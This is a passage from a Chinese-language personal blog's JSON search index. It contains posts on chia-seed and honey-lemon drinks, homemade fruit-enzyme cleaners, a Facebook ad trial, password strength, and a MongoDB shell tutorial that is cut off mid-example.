架設一個自己的網站流量統計分析工具。\u003c/p\u003e\n\u003cp\u003e大部份的網站或是部落格在架設完成之後，通常都會加上網站流量的統計分析工具，這類的工具可以幫助站長瞭解自己網站的流量狀況，市面上這類的免費工具非常多，例如 Google Analytics 與 Yahoo 站長工具就是很常被使用的兩個免費服務，我個人也是偏好使用 Google Analytics，不但功能豐富、速度快，而且完全不用自己維護伺服器，非常方便。\u003c/p\u003e","title":"在 DreamHost 空間自己架設 Piwik 網站流量統計分析工具"},{"content":"奇亞籽是現在很熱門的健康保健食品，加上蜂蜜漬檸檬之後，就是一種既養身又可減肥的夏日清涼消暑冷飲了。\n奇亞籽（Chia seeds）最近成為大家非常喜愛的養身保健食品，它本身其實是鼠尾草的種子，起源於墨西哥南部和瓜地馬拉，早從西元前 3500 年就已有人們食用的紀錄，它還曾經是阿茲特克人和瑪雅人的主食，傳說中阿茲特克戰士外出狩獵、戰鬥時，就是仰賴奇亞籽補充體力。\n由於奇亞籽富含多種營養成分，因此有超級食物的美譽。除此之外，它在吸水之後會大幅膨脹，其水溶性纖維有助延緩血糖上升速度，而非水溶性纖維的部分，在水中不會被溶解與吸收，幾乎可完整通過消化道，不但能增加飽足感，還有調節腸道機能的作用，因此被視為減肥聖品。\n蜜漬檸檬奇亞籽 我們之前介紹過自製的蜜漬檸檬汁，加入奇亞籽之後，除了好喝之外，還能達到減肥、清血脂的效果。\nStep 1\n首先將一匙奇亞籽放入杯中。\nStep 2\n加入冷開水沖泡。\nStep 3\n等待 15 分鐘，讓奇亞籽充分吸水與膨脹。\nStep 4\n加入蜂蜜漬檸檬，若想喝冰的，就再加點冰塊。\n這樣就是一杯既養身又減肥的夏日清涼消暑冷飲了！\n營養成分 奇亞籽的營養價值非常高，除了維生素 B 群之外，還有亞麻油酸及豐富的 Omega-3。「亞麻油酸」能夠增加血管彈性、降低血液黏度，以及提升大腦、視神經發育，而「Omega-3」能在人體轉為前列腺素，幫助人體抵抗發炎、消水腫、降血壓，以及穩定情緒，二者對健康都非常有幫助。\n以下是每 15 公克奇亞籽所含的營養成分：\n成分 含量 熱量 72.9 卡 蛋白質 2.5 卡 碳水化合物 6.3 卡 膳食纖維 20.8% RDI 油脂 4.6 公克 不飽和脂肪酸比例 88% Omega-3 不飽和脂肪酸 3.55 公克 鈣 94.7 毫克 鎂 50.3 毫克 維生素 A 7.8 IU 資料來源：衛生福利部食品藥物管理署台灣食品營養成分資料庫、美國農業部營養資料庫\n參考資料 Yahoo ","permalink":"https://blog.gtwang.org/life/honey-lemon-chia-seed/","summary":"\u003cp\u003e奇亞籽是現在很熱門的健康保健食品，加上\u003ca href=\"/diy/honey-lemon-slices/\"\u003e蜂蜜漬檸檬\u003c/a\u003e之後，就是一種既養身又可減肥的夏日清涼消暑冷飲了。\u003c/p\u003e\n\u003cp\u003e奇亞籽（Chia seeds）最近成為大家非常喜愛的養身保健食品，它本身其實是鼠尾草的種子，起源於墨西哥南部和瓜地馬拉，早從西元前 3500 年就已有人們食用的紀錄，它還曾經是阿茲特克人和瑪雅人的主食，傳說中阿茲特克戰士外出狩獵、戰鬥時，就是仰賴奇亞籽補充體力。\u003c/p\u003e","title":"蜜漬檸檬奇亞籽：既養身又減肥的夏日清涼消暑冷飲"},{"content":"這裡紀錄利用蘇迪勒颱風過後的麻豆文旦落果，製作天然的環保酵素的過程。\n今年爸爸節蘇迪勒颱風來襲，超強風力 17 級橫掃全台，風大雨大，滿街道的路樹都被強風吹得東倒西歪，甚至連根拔起，颱風威力之強，使得今年麻豆文旦也被颱風掃掉五成左右。颱風過後，娘家家人就趕快去麻豆姑姑家文旦園，撿了些剛被吹落的文旦柚落果，打算用來製做「文旦柚子清潔劑」與「文旦柚子環保酵素」。\n因為柚子的精油豐富，落果表皮一經碰撞，柚子精油馬上揮發出來，所以撿拾落果時，聽哥哥嫂嫂們說，滿園都是濃濃的柚子香，柚子的精油非常豐富，拿來做清潔劑和環保酵素很棒喔！只是柚子落果，含有精油的外皮層已經受傷，要趕快處理，不然過了一、兩天後，柚子就會開始爛掉，不適合利用了。\n準備材料 製作柚子環保酵素的原料跟檸檬環保酵素差不多，只是將檸檬換成柚子而已：\n水 水的選擇對於發酵的好壞有很大的影響，使用過濾水會比較好，過濾水雜菌少，發酵效果佳。（若是在外面加水站買，選擇 1 公升 1 元的那種就可以了） 文旦柚 使用這次蘇迪勒颱風過後的麻豆文旦落果，但是使用的部位與檸檬酵素有些不同，做檸檬環保酵素時是整顆檸檬切片下去發酵，而\u2028製做柚子環保酵素的話，則是只有取柚子的果皮和果肉下去發酵，中間那層白白的部分必須捨去。 黑糖 使用每包 450 公克，每包售價 20 元的那種即可，市場、雜貨店或是大型五金行都有賣，這種黑糖便宜效果又很好。 而這三種原料的比例（重量比）是：\n水：文旦柚：黑糖 = 10：3：1\n這裡的文旦柚重量在計算時，是只有算柚子的果皮與果肉而已，不包含柚子中間那層白白的部分。\n以下是柚子環保酵素的容器比例配方：\n容器 水（10） 文旦柚（3） 黑糖（1） 悅氏礦泉水桶子（6 公升） 3 公斤 0.9 公斤1 0.3 公斤 茶の魔手果糖桶（20 公升） 10 公斤 3 公斤1 1 公斤 1以這次快成熟的柚子落果為例，大約 3-4 顆的文旦柚，才能取出 0.9 公斤的果皮與果肉，約 10-12 顆的文旦柚，才能取出 3 公斤的果皮與果肉。\n以上是製作柚子環保酵素要準備的東西，以下開始介紹柚子環保酵素的製作步驟，請繼續閱讀下一頁。\n製作步驟 以下是用文旦柚颱風落果製做柚子環保酵素的詳細製作步驟。\nStep 1\n準備乾淨的塑膠桶，先用過濾水沖洗乾淨，不用晾乾沒關係。另外桶子不能有油漬，若有油漬會影響發酵。\nStep 2\n將文旦柚清洗乾淨。經過颱風豪大雨的洗禮（比用自來水沖洗還乾淨），比較沒有農藥殘留的疑慮，加上文旦柚落果受到撞傷與水傷，不適合再浸泡，我選擇直接使用清水把文旦柚上泥巴洗淨，用廚房紙巾直接擦乾，再用電風扇吹乾處理。\nStep 3\n取出柚子的果皮和果肉，中間那層白白的部分必須捨去。柚子外皮較厚，不適合用刨刀削皮，選擇用水果刀削外皮。\n這是用水果刀削柚子皮的示範影片。\n再除去中間厚厚白色部分，取出果肉剝開後切塊。\nStep 4\n將 3 公斤的外皮與果肉置入 20 公升的發酵桶。\nStep 5\n倒入 1 公斤的黑糖。\nStep 6\n倒入 10 公斤的過濾水。（過濾水雜菌少，發酵容易成功，酵素成品佳）\nStep 7\n攪拌均勻，如果桶子很大的話，可以拿比較粗一點的棍子來攪拌。\nStep 8\n蓋上瓶蓋等待發酵，這時瓶蓋可以不用蓋太緊，這樣可以讓發酵時產生的氣體自然排出，避免爆瓶危險。\nStep 9\n記下製作日期，等待三個月後，即可使用。在發酵的前一個月，要每天打開瓶蓋，釋放發酵時產生的氣體，並重新攪拌，讓浮在表面的白色酵母，可以均勻混入糖水中，讓發酵更均勻。這樣維持一個月之後，就不用再攪拌了。最後等待至三個月發酵期滿，就可以開始使用文旦柚子環保酵素囉！\n在柚子發酵過程中，請隨時注意容器內氣體壓力的釋放，避免爆瓶的危險。可以選擇不要完全蓋緊瓶蓋，預留發酵氣體排出空隙，降低爆瓶危險。\n原則上不管使用的是檸檬還是柚子來做環保酵素，做法都差不多，只是加入的原料不太一樣而已，發酵的過程都一樣，關於檸檬環保酵素的製作請參考自製天然檸檬環保酵素教學。\n","permalink":"https://blog.gtwang.org/diy/making-pomelo-garbage-enzyme-after-typhoon/","summary":"\u003cp\u003e這裡紀錄利用蘇迪勒颱風過後的麻豆文旦落果，製作天然的環保酵素的過程。\u003c/p\u003e\n\u003cp\u003e今年爸爸節蘇迪勒颱風來襲，超強風力 17 級橫掃全台，風大雨大，滿街道的路樹都被強風吹得東倒西歪，甚至連根拔起，颱風威力之強，使得今年麻豆文旦也被颱風掃掉五成左右。颱風過後，娘家家人就趕快去麻豆姑姑家文旦園，撿了些剛被吹落的文旦柚落果，打算用來製做「文旦柚子清潔劑」與「文旦柚子環保酵素」。\u003c/p\u003e","title":"麻豆文旦柚颱風落果製做柚子環保酵素，濃濃柚子香，家事好幫手！"},{"content":"這裡介紹如何在 Facebook 上面付錢打廣告，吸引更多人加入自己的粉絲專頁。\n這兩天剛好在進行部落格的效能校調，花了一整天把 WordPress 中安裝的每一個外掛都檢查一次，刪掉影響效能太嚴重的（順便一提，WP-SpamShield Anti-Spam 這個外掛雖然評價是五顆星，不過它會讓你的網站變得比蝸牛還慢！），另外也改寫了相關文章（related posts）的功能，加上 Facebook 推文的按鈕，現在整個部落格效能水準比之前好多了。\n剛好前兩天貼了一篇大眾化的檸檬酵素文章，看起來反應不錯，想說用這篇來測試一下 Facebook 廣告的效益，順便也讓部落格測試一下校調好的效能狀況，而且我也沒用過 Facebook 的廣告功能，很好奇它的效益如何，所以就花了 100 元來試試看，以下是我的測試過程。\nStep 1\n首先從自己的粉絲專頁中，選一篇優質的貼文，因為是要打廣告的，所以一定要選圖片比較漂亮的，給訪客好的第一印象。\n選擇好文章之後，然後按下下方的「加強推廣貼文」按鈕。\nStep 2\n接著編輯「廣告受眾」，也就是您希望吸引哪一些人進來看你的粉絲專頁。\nStep 3\n因為我的目標是介紹這篇文章與自己的粉絲專頁，分享給更多沒有看過的人，所以我這裡選擇「經由目標設定所選擇的對象」，然後選擇可能會喜歡這篇文章的讀者條件。\nStep 4\n設定預算與廣告刊登時間長度，輸入價格之後，它會顯示預估的觸及人數。因為我只是想測試一下，所以預算訂為最低的 100 元，然後讓廣告刊登三天。\nStep 5\n輸入信用卡資訊，另外也可以使用 PayPal 付款。\nStep 6\n輸入信用卡資訊之後，Facebook 會審查廣告的刊登內容，不過這個審查非常快，我的廣告經過十幾分鐘就通過了。\nStep 7\n通過廣告審查之後，再回到自己的粉絲專頁，看一下要推廣的那一篇文章。\n左下角是觸及人數，右下角則會出現目前的餘額，接下來就是等待訪客上門囉。如果您感覺使用 Facebook 打廣告的效益良好，可以隨時點選這個餘額的按鈕，立即刷卡增加預算。\n當廣告實際開始放送之後，在文章下方就會顯示一張長條圖，告訴您有多少人是自己連進來的，而有多少人是透過廣告進來的。\n您也可以在「廣告管理員」中查看更詳細的資料。\n我這個廣告的每次貼文互動成本大約不到台幣 1 元，換句話說就是如果我們付 100 元的費用，大約可以讓 100 多人進來按讚、留言或是分享，每個廣告的狀況可能會有不同，至於划不划算那就要看自己粉絲專頁的用途了。\n","permalink":"https://blog.gtwang.org/web-development/advertising-on-facebook/","summary":"\u003cp\u003e這裡介紹如何在 Facebook 上面付錢打廣告，吸引更多人加入自己的粉絲專頁。\u003c/p\u003e\n\u003cp\u003e這兩天剛好在進行部落格的效能校調，花了一整天把 WordPress 中安裝的每一個外掛都檢查一次，刪掉影響效能太嚴重的（順便一提，WP-SpamShield Anti-Spam 這個外掛雖然評價是五顆星，不過它會讓你的網站變得比蝸牛還慢！），另外也改寫了相關文章（related posts）的功能，加上 Facebook 推文的按鈕，現在整個部落格效能水準比之前好多了。\u003c/p\u003e","title":"付費刊登 Facebook 廣告，增加粉絲專頁的人氣"},{"content":"這裡介紹如何自己製作檸檬環保酵素，天然的檸檬環保酵素不但氣味清香，而且用途廣泛，是家庭主婦必備的清潔用品。\n檸檬的產季剛好是在夏天，當檸檬盛產時其價格也會跟著下降，便宜的時候大約是每台斤 20 到 30 元左右，這時有習慣做檸檬蘆薈清潔劑或檸檬環保酵素的人，就會趁機大肆採買檸檬，我也不例外。\n最近在檸檬進口與國內檸檬盛產兩大因素下，檸檬的價格終於下降到每台斤 25 元左右，水果商通常會把一些外觀不好看的檸檬淘汰下來，而剛好我姑姑跟水果商很熟，就幫我買了一些賣相比較差的檸檬給我做環保酵素，每台斤只要 10 元而已。\n除了以檸檬來製作環保酵素之外，也可以使用其他各種水果，例如拿麻豆文旦柚颱風落果製做柚子環保酵素。另外檸檬也可以用來製作檸檬蘆薈清潔劑或是檸檬洗碗精，用途很多。\n為何選擇檸檬做環保酵素呢？ 因為檸檬香氣十足，去汙力強，有潔白除臭效果，發酵容易成功，不會產生惡臭，檸檬環保酵素使用接受度很高。建議剛接觸環保酵素的新手，從最簡單也最受歡迎的檸檬環保酵素開始嘗試，只是檸檬價格高，一定找最低價格時買進，通常每年大約在八月左右，檸檬價格就會開始下降，一直到入秋。習慣做檸檬環保酵素的我，就會做個幾桶起來，準備使用一整年。\n建議如果要拿檸檬環保酵素來洗衣服的朋友，最好用整顆檸檬下去做環保酵素，因為之前我都是用飲料工廠榨完汁的檸檬皮，做環保酵素，拿去洗衣服，衣服都會粗粗硬硬的，覺得很奇怪，加上我也沒習慣用市售柔軟精。後來知道檸檬汁是天然的柔軟劑，就用整顆檸檬下去做環保酵素，這樣加天然椰子油起泡劑下去洗衣服，超好洗又省錢，也不用柔軟精，除汗臭效果好，柔軟效果又好，真的很棒喔！在檸檬盛產、價格低廉的時期，很值得試試看喔！\n準備材料 製作天然檸檬環保酵素需要準備的材料非常簡單，只需要：\n水 水的選擇對於發酵的好壞有很大的影響，使用過濾水會比較好，過濾水雜菌少，發酵效果佳。（若是在外面加水站買，選擇 1 公升 1 元的那種就可以了） 檸檬 這個是製作酵素最主要的原料。 黑糖 使用每包 450 公克，每包售價 20 元的那種即可，市場、雜貨店或是大型五金行都有賣，這種黑糖便宜效果又很好。 我用的這種黑糖是志濱糖業有限公司所生產的。\n而這三種原料的比例（重量比）是：\n水：檸檬：黑糖 = 10：3：1\n以下是以各種不同的容器來計算的比例配方：\n容器 水（10） 檸檬（3） 黑糖（1） 悅氏礦泉水桶子（6 公升） 3.6 公斤 1.08 公斤 0.36 公斤 茶の魔手果糖桶（20 公升） 10 公斤 3 公斤 1 公斤 茶の魔手果糖桶（20 公升）1 12 公斤 3.6 公斤 1.2 公斤 1如果要做大量酵素的人，可以用這個配方。\n1.08 公斤的檸檬大約等於 9 至 10 顆中型檸檬，而 3 公斤的檸檬大約等於 25 至 28 顆中型檸檬。\n以上是製作檸檬環保酵素所需要準備的材料，接著我們要介紹製作的方法。\n製作步驟 以下是天然檸檬環保酵素的詳細製作步驟。\nStep 1\n拿乾淨的塑膠桶，先用過濾水沖洗乾淨，不用晾乾沒關係。另外桶子不能有油漬，若有油漬會影響發酵。\nStep 2\n將檸檬清洗乾淨。\n因為我們製作的環保酵素在未來會用來洗蔬菜水果，甚至洗碗等，所以農藥的去除不可以輕忽，使用環保酵素來清洗是一個很好的方式。\n加入環保酵素後，讓檸檬浸泡約半小時後再洗淨，這樣可以很有效去除農藥，洗淨的檸檬可以聞得到檸檬天然的味道。\n如果沒有環保酵素，那就先浸泡一下，再用刷子刷洗，或是使用流動的水沖洗也可以。\nStep 3\n將洗淨的檸檬切片，或是切塊也可以。\nStep 4\n將切好的檸檬放進發酵用的容器中。\nStep 5\n倒入所需的黑糖。\nStep 6\n倒入所需的過濾水。（過濾水雜菌少，發酵容易成功，酵素成品佳）\nStep 7\n攪拌均勻，蓋上瓶蓋微鎖，切勿緊鎖，預留發酵氣體排出空隙，避免爆瓶危險。\nStep 8\n記下製作日期，發酵三個月後，即可開始使用。\n在發酵期間的前一個月，記得每天打開瓶蓋釋放發酵氣體，並重新攪拌均勻，讓浮在表面的白色酵母與檸檬果肉，可以均勻混入糖水中，這樣才能夠讓發酵更完全。\n經過一個月之後，就不用每天開蓋攪拌，等待發酵完成期間，還是會產生發酵氣體，瓶蓋請微鎖，切勿鎖緊，避免爆瓶，等三個月發酵期滿，就可以使用檸檬環保酵素囉！酵素剛完成時，裝瓶使用請勿裝太滿，怕還會持續微發酵產生氣體。\n發酵品質好的酵素，不怕放不會壞，放越久品質越好，清潔效果也越好，所以很多人都會等六個月後才會濾汁收成。\n在檸檬發酵過程中，請隨時注意容器內發酵氣體的釋放，請微鎖瓶蓋就好，切勿緊鎖，預留發酵氣體排出空隙，避免爆瓶危險。\n基本上不管使用的容器是哪一種，製作的過程都是一樣的，這是使用茶の魔手果糖桶來製作酵素的樣子（這裡是使用 水：檸檬：黑糖 = 12 公斤：3.6 公斤：1.2 公斤 的配方）。\n我最愛使用這種果糖桶子製作，因為這種果糖桶有內外蓋，我都是蓋上內蓋，鎖上外蓋，外蓋只要轉鬆一些，就可以排氣，非常安全，不怕爆瓶，也不怕傾倒致使環保酵素流出。\n這種茶の魔手的果糖桶，直接去茶の魔手的飲料店就可以買到，一般來說一個空桶子大約是 20 元左右。\n如果需要購買檸檬的人，可以參考屏東潮州自產自銷的無毒檸檬。\n","permalink":"https://blog.gtwang.org/diy/diy-lemon-garbage-enzyme-tutorial/","summary":"\u003cp\u003e這裡介紹如何自己製作檸檬環保酵素，天然的檸檬環保酵素不但氣味清香，而且用途廣泛，是家庭主婦必備的清潔用品。\u003c/p\u003e\n\u003cp\u003e檸檬的產季剛好是在夏天，當檸檬盛產時其價格也會跟著下降，便宜的時候大約是每台斤 20 到 30 元左右，這時有習慣做檸檬蘆薈清潔劑或檸檬環保酵素的人，就會趁機大肆採買檸檬，我也不例外。\u003c/p\u003e","title":"[DIY] 自製天然檸檬環保酵素教學，氣味清香，用途廣泛"},{"content":"這裡教大家如何自己製作蜂蜜漬檸檬片，在夏天當作飲料，既解渴又健康。\n相信應該很多人都知道檸檬對於人體的益處相當多，它富含維他命 C，除了可以預防感冒之外，對於養顏美容也有幫助，但是因為檸檬實在太酸了，通常很少人直接食用。\n若要食用檸檬有一個好辦法就是製作成蜂蜜漬檸檬片，將很酸的檸檬用蜂蜜醃漬過後，口感就會變得很好，用冷開水沖開調製成蜜漬檸檬汁，加上冰塊後，在炎熱的夏天真的是一種非常好的消暑冷飲。\n蜂蜜漬檸檬片的作法非常簡單，人人都可以自己製作，既經濟又健康。以下我們介紹製作蜂蜜漬檸檬片的過程，首先是需要準備的材料與器具：\n檸檬：在夏天檸檬盛產的季節，在市場應該都很容易買到新鮮又便宜的檸檬。 蜂蜜：不管是哪一種蜂蜜都可以，當然最好是找純的蜂蜜。 玻璃保鮮盒：因為要放置大量的檸檬（很酸），所以不適合使用金屬或是塑膠類的容器，建議用玻璃材質的保鮮盒。 水果刀與砧板：切檸檬用的器具。 以下是製作的步驟。\nStep 1\n將檸檬清洗乾淨後，晾乾或是擦乾。\n因為在醃漬檸檬時，是連同檸檬的外皮一起放進蜂蜜中浸泡，所以在清洗時要洗乾淨一些，避免農藥殘留，有些人會用鹽巴來清洗，而我是使用環保酵素來浸泡。當然您也可以考慮直接購買有機的檸檬。\nStep 2\n將檸檬切片，厚薄可以看個人喜好，不過最好不要太厚，否則在醃漬的過程蜂蜜比較難入味。\nStep 3\n將切好的檸檬片放進玻璃的保鮮盒中。\nStep 4\n倒入蜂蜜，讓每一片檸檬都浸泡到蜂蜜。\nStep 5\n蓋上保鮮盒的蓋子，放進冰箱，等待一、兩天左右。\n基本上蜂蜜只要讓檸檬都可以浸泡到就夠了，這裡我在倒蜂蜜時，一隻手拿蜂蜜，另一隻手拿相機，所以一沒注意就倒太多下去，檸檬都浮起來了。\n像這樣不小心倒太多的話，可以再切一些檸檬放進去，才不會浪費蜂蜜。\n等待幾天之後，就可以拿出來吃了。\nStep 6\n等待幾天之後，就可以從冰箱拿出來了。\nStep 7\n先夾一片檸檬。\nStep 8\n再加上一些蜂蜜。\n因為在醃漬時檸檬汁會滲透出來到蜂蜜中，所以在舀蜂蜜的時候，要稍微攪動讓蜂蜜與檸檬汁混合一下，才不會只喝到蜂蜜或是檸檬汁。\n另外如果您的檸檬切的比較厚的話，在檸檬片中可能還會有許多檸檬汁沒有跑出來，如果不想慢慢等，就直接用湯匙壓一壓比較快，而且醃漬太久的話，檸檬的營養也容易流失。\nStep 9\n如果喜歡喝冰的，就再放一些冰塊。\nStep 10\n這樣就是一杯清涼解渴的蜜漬檸檬汁了！\n如果是冬天的話，用熱水來沖泡，喝熱熱的蜜漬檸檬茶也很不錯。另外也可以加入奇亞籽一起喝，既健康又可以瘦身。\n很多人會感覺這樣泡出來的檸檬汁有苦味，不太好喝，事實上檸檬的苦味是因為檸檬皮與檸檬籽中含有檸檬苦素（limonoids），尤其在檸檬籽中含量最高，而這種成分具有排毒與抑制病毒的效果，當然如果不喜歡苦味的人，可以把檸檬籽與外皮去掉再進行醃漬。\n由於蜂蜜漬檸檬片是連皮一起放在蜂蜜中浸泡，如果怕農藥殘留，可以考慮使用有機的檸檬或是無毒檸檬。\n在吳映蓉所著的「營養學博士教你吃對植化素：可以防癌、抗老、調節免疫力」一書中，也有提到一些關於檸檬苦素對人體的益處：\n防癌小尖兵 我們平常吃一些柑橘類的水果時，因為果皮含苦味及辣味，都會把果皮丟棄，可惜的是，果皮卻是含有防癌植化素的寶藏，如檸檬苦素、諾米林及檸 檬酸烯。檸檬酸烯與檸檬苦素類的防癌方式大致相同，檸檬酸烯一樣會增加肝臟中解毒酵素麩胱甘肽-S-轉移酵素的活性，能夠使體內的致癌物質轉成較容易排出體外的型態，降低致癌的機率。此外，檸檬酸烯能使快要變成致癌的細胞「回歸正途」，它也能誘發癌症細胞走向凋零之路。有時吃一點果皮也是防癌的好方法。\n防癌左右護法──檸檬苦素（limonin）及諾米林（nomilin） 檸檬苦素類中能夠防癌的兩名大將分別是檸檬苦素及諾米林，因為這兩名防癌大將能增加我們肝臟中解毒酵素──麩胱甘肽-S-轉移酵素的活性。一旦這個酵素活性增加後，能夠將體內的致癌物質轉化成較容易排出體外的型態；所以，檸檬苦素類能夠將誤闖入我們身體的致癌物趕快逐出體外，不要讓致癌物留在體內造次。目前對於檸檬苦素類對抗口腔癌、皮膚癌、肺癌、乳癌、胃癌及直腸癌等都有令人興奮的研究成果。\n檸檬苦素能降低膽固醇 我們人體的膽固醇必須在肝臟中經過一翻「包裝」才會釋放到血管中，如果包 裝得不夠好，膽固醇就不愛跑到血管中了，而檸檬苦素能抑制肝臟產生膽固醇所需 要的「包裝材質」──一種稱為apoB的蛋白質，少了apoB這種蛋白質，肝臟就無法 把膽固醇包裝好送到血管中，因而能減少後續許多因過多膽固醇所引起的疾病，如 粥狀動脈硬化、心血管疾病等。\n","permalink":"https://blog.gtwang.org/diy/honey-lemon-slices/","summary":"\u003cp\u003e這裡教大家如何自己製作蜂蜜漬檸檬片，在夏天當作飲料，既解渴又健康。\u003c/p\u003e\n\u003cp\u003e相信應該很多人都知道\u003ca href=\"/life/why-you-should-drink-warm-water-lemon/\"\u003e檸檬對於人體的益處\u003c/a\u003e相當多，它富含維他命 C，除了可以預防感冒之外，對於養顏美容也有幫助，但是因為檸檬實在太酸了，通常很少人直接食用。\u003c/p\u003e","title":"[DIY] 蜂蜜漬檸檬片：自製夏日消暑冷飲，既解渴又健康"},{"content":"這裡告訴您如何選擇一組安全的密碼，保護自己的電腦，降低被破解的風險。\n許多的系統都會將使用者的密碼經過編碼加密之後儲存起來，通常這類的加密方法都是不可逆的，所以我們沒辦法將加密過的資料直接解密來獲取原來的密碼，如果要取得原來的密碼一般都是使用暴力攻擊法（brute-force attack），嘗試每一個可能的密碼組合。\n很不幸的現在的桌上型個人電腦的效能越來越好，要使用暴力攻擊法來破解密碼非常容易，好一點的桌上型電腦每秒可以嘗試數千萬個密碼組合，另外具有強大 GPU 運算能力的顯示卡也在近幾年內越來越普及，只要有適當的軟體，幾乎任何人都可以進行密碼的破解。\n所以現在您應該可以理解為什麼資訊安全專家都會呼籲大家，不要使用太短的密碼，最好包含英文大小寫、數字，外加特殊符號。\n雖然密碼越複雜安全性越高，不過太過複雜弄到自己記不住也不是辦法，這時候您可以使用 howsecureismypassword.net 這個線上小工具，他可以幫您評估密碼的安全性，估算如果要破解您的密碼需要多久的時間。\n名稱：How Secure is My Password?\n網址：https://howsecureismypassword.net/\n在您輸入密碼時，他會即時評估密碼的複雜度，並且提供一些改善建議。\n如果密碼夠安全的話，背景顏色就會呈現綠色。\n上面所估計的破解時間是以一台 PC 的運算能力來評估的，以一般平常使用的密碼而言，如果一台 PC 要算個幾萬年，這個密碼應該就可以視為足夠安全的了。當然如果是重要的伺服器所使用的管理者密碼，就要更複雜才行，我自己測試我之前的伺服器密碼，要花一百秭（100 quadrillion）年才能破解。\n","permalink":"https://blog.gtwang.org/useful-tools/how-long-will-password-take-to-crack/","summary":"\u003cp\u003e這裡告訴您如何選擇一組安全的密碼，保護自己的電腦，降低被破解的風險。\u003c/p\u003e\n\u003cp\u003e許多的系統都會將使用者的密碼經過編碼加密之後儲存起來，通常這類的加密方法都是不可逆的，所以我們沒辦法將加密過的資料直接解密來獲取原來的密碼，如果要取得原來的密碼一般都是使用暴力攻擊法（brute-force attack），嘗試每一個可能的密碼組合。\u003c/p\u003e","title":"如何選擇一組安全的密碼？降低被破解的風險？"},{"content":"這裡教大家如何透過 MongoDB shell（mongo）來使用 MongoDB 資料庫。\nmongo 是一個用來操作 MongoDB 的互動式 JavaScript 介面，您可以使用它來查詢（query）或更新（update）資料庫中的資料，另外也可以進行一些資料庫的管理動作。\n在使用 mongo 之前，請先安裝好 MongoDB 資料庫，安裝方式請參考：\nWindows：在 Windows 中安裝 MongoDB 資料庫 Ubuntu Linux：在 Ubuntu Linux 中安裝 MongoDB 資料庫 Mac OS X：在 Mac OS X 中安裝 MongoDB 資料庫 開始使用 mongo 當您安裝好 MongoDB 之後，可以執行 mongo 以 MongoDB Shell 來連線到 MongoDB：\nmongo 如果在 Windows 的命令提示字元中，執行的時候要加上 .exe 副檔名，必要時指定其路徑。\n如果沒有加上任何參數，mongo 指令預設會連線到 localhost 的 27017 連接埠，如果要改變主機與連接埠，可以參考 mongo Shell Reference Page。\n在 MongoDB Shell 環境中，都是以指令來進行操作的，操作的方式跟一般的 shell 類似，您可以在輸入一補份的指令名稱之後，使用 tab 鍵來補齊，或是使用上下鍵來查看之前執行過的指令歷史紀錄，這樣可以加快操作的速度。\n一開始進入 MongoDB Shell 時，可以執行 help 來查看基本的操作說明：\nhelp 輸入資料 這張表列出了傳統 SQL 與 MongoDB 的概念性對應關係：\nSQL MongoDB database database table collection row document column field 在輸入資料之前，先使用 use 選擇 database：\nuse test 然後用 insert 指令將一些資料輸入到 restaurants 這個 collection：\ndb.restaurants.insert( { \u0026#34;address\u0026#34; : { \u0026#34;street\u0026#34; : \u0026#34;2 Avenue\u0026#34;, \u0026#34;zipcode\u0026#34; : \u0026#34;10075\u0026#34;, \u0026#34;building\u0026#34; : \u0026#34;1480\u0026#34;, \u0026#34;coord\u0026#34; : [ -73.9557413, 40.7720266 ], }, \u0026#34;borough\u0026#34; : \u0026#34;Manhattan\u0026#34;, \u0026#34;cuisine\u0026#34; : \u0026#34;Italian\u0026#34;, \u0026#34;grades\u0026#34; : [ { \u0026#34;date\u0026#34; : ISODate(\u0026#34;2014-10-01T00:00:00Z\u0026#34;), \u0026#34;grade\u0026#34; : \u0026#34;A\u0026#34;, \u0026#34;score\u0026#34; : 11 }, { \u0026#34;date\u0026#34; : ISODate(\u0026#34;2014-01-16T00:00:00Z\u0026#34;), \u0026#34;grade\u0026#34; : \u0026#34;B\u0026#34;, \u0026#34;score\u0026#34; : 17 } ], \u0026#34;name\u0026#34; : \u0026#34;Vella\u0026#34;, \u0026#34;restaurant_id\u0026#34; : \u0026#34;41704620\u0026#34; } ) 在執行這個動作時，如果遇到 collection 不存在的狀況，MongoDB 會自動建立這個 collection。在執行之後，會傳回一個 WriteResult 物件：\nWriteResult({ \"nInserted\" : 1 }) 其中 nInserted 的值就是輸入資料的筆數。\n在 MongoDB 中，所有儲存在 collection 中的 document 都會有一個 _id field 作為 primary key，如果輸入資料時沒有加上這個 field，MongoDB 會自動產生一個 ObjectId 作為 _id。\n查詢資料 若要查詢資料，可以使用 find 方法，當然在查詢之前記得要先指定 database（如果之前已經有指定過就不用了）：\nuse test 直接執行 find 不加任何查詢條件，就會列出該 collection 中所有的 documents：\ndb.restaurants.find() 查詢的結果會像這樣：\n{ \"_id\" : ObjectId(\"55b5de22bdc78b2145bd6e32\"), \"address\" : { \"street\" : \"2 Avenue\", \"zipcode\" : \"10075\", \"building\" : \"1480\", \"coord\" : [ -73.9557413, 40.7720266 ] }, \"borough\" : \"Manhattan\", \"cuisine\" : \"Italian\", \"grades\" : [ { \"date\" : ISODate(\"2014-10-01T00:00:00Z\"), \"grade\" : \"A\", \"score\" : 11 }, { \"date\" : ISODate(\"2014-01-16T00:00:00Z\"), \"grade\" : \"B\", \"score\" : 17 } ], \"name\" : \"Vella\", \"restaurant_id\" : \"41704620\" } 指定查詢條件 加入查詢條件：\ndb.restaurants.find( { \u0026#34;borough\u0026#34;: \u0026#34;Manhattan\u0026#34; } ) 使用句點（.）對 embedded document 加上查詢條件：\ndb.restaurants.find( { \u0026#34;address.zipcode\u0026#34;: \u0026#34;10075\u0026#34; } ) 句點（.）也可以用於查詢陣列中的 field 值，這裡的 grades 是一個陣列，裡面包含許多 embedded documents，以這樣的查詢方式的話，只要有任一個 embedded document 符合條件，就會列出該 document：\ndb.restaurants.find( { \u0026#34;grades.grade\u0026#34;: \u0026#34;B\u0026#34; } ) 以運算子指定查詢條件 MongoDB 提供了一系列的運算子，讓使用者可以運用在資料的查詢上，使用運算子的限制條件語法為：\n{ \u0026lt;field\u0026gt;: { \u0026lt;operator\u0026gt;: \u0026lt;value\u0026gt; } } 其中 \u0026lt;operator\u0026gt; 就是指定的運算子，我們直接來看一些例子會比較容易了解。\n如果要查詢 grades.score 大於 30 的 documents，則可使用 $gt 運算子：\ndb.restaurants.find( { \u0026#34;grades.score\u0026#34;: { $gt: 30 } } ) 查詢 grades.score 小於 10 的 documents，則使用 $lt 運算子：\ndb.restaurants.find( { \u0026#34;grades.score\u0026#34;: { $lt: 10 } } ) 除了這些，MongoDB 還有許多其他的運算子可以使用，請參考 Query and Projection Operators。\n使用多個條件 如果同時使用多個查詢條件，可以直接用逗號分開：\ndb.restaurants.find( { 